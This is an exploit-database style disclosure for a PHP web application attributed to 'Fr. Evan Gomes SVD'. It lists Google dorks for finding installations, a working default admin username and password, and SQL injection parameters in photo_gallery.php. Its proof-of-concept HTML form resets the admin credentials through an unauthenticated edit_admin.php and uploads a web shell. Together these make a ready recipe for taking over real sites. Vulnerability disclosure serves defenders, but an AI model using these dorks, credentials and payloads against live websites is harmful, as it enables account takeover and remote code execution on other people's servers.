-------------------------------------------------------------
# Exploit Title: Fr. Evan Gomes SVD - Multiple Vulnerabilities
# Date: July 9, 2020
# Vendor Homepage: N/A
# Version: all versions
# Exploit Author: bRpsd
# Contact Author: cy[at]live.no
# Type: WebApps / PHP
-------------------------------------------------------------

# Google Dorks:
Dork1: "by Fr. Evan Gomes SVD"
Dork2: "Developed by Fr. Evan Gomes SVD"



@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Vulnerability #1: Default admin configuration

Issue details: websites are created with a default username & password allowing attackers 
to access Administration by going to /admin/ page or by clicking on "Fr. Evan Gomes SVD" 
text at the bottom of the homepage.

========================
Default Admin User:evansvd
Default Admin Pass:554705
========================
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@




@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Vulnerability #2: SQL Injection - Error based

Issue details: [Gallery photos] does not filter SQL injection passed 
through the parameters gallery_id & album_id therefore allowing remote SQLi attacks.

File: photo_gallery.php

Exploit:
==========================================
target.com/photo_gallery.php?gallery_id=1
target.com/photo_gallery.php?album_id=1
==========================================
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@



@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Vulnerability #3: Privilege Escalation & Arbitrary File Upload/Remote Code Execution
[Update Admin Password & Upload shell]

Issue details: Inside the admin page, there is a function inside a file that allows remote attackers to update 
admin information & upload malicious files remotely. It works because it doesn't require admin session/auth.
File Location: edit_admin.php
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@


This simple HTML code here changes the admin user to "admin" and password to "pass123" while also uploads
a file/shell to the following path /images/


POC exploit code:
<center>
  <h1>Edit Admin & File Upload</h1>
  <br>
  <form action="http://admin.website.com/edit_admin.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="id" value="2"/>
    <input type="hidden" name="update" value="2"/>
    <input type="hidden" name="name" value="admin"/>
    <input type="hidden" name="phone" value="9494949494"/>
    <input type="hidden" name="username" value="admin"/>
    <input type="hidden" name="password" value="pass123"/>
    <input type="hidden" name="confirm_password" value="pass123"/>
    <input type="hidden" name="admin_type" value="1"/>
    <input type="hidden" name="admin_image" value="1"/>
    <input type="file" name="image"/><br>

</form>
<b>If this didn't work, switch id parameter to 1 or 3.
  <br>
  <b>Uploaded File Location: http://admin.website.com/images/[FILE HERE]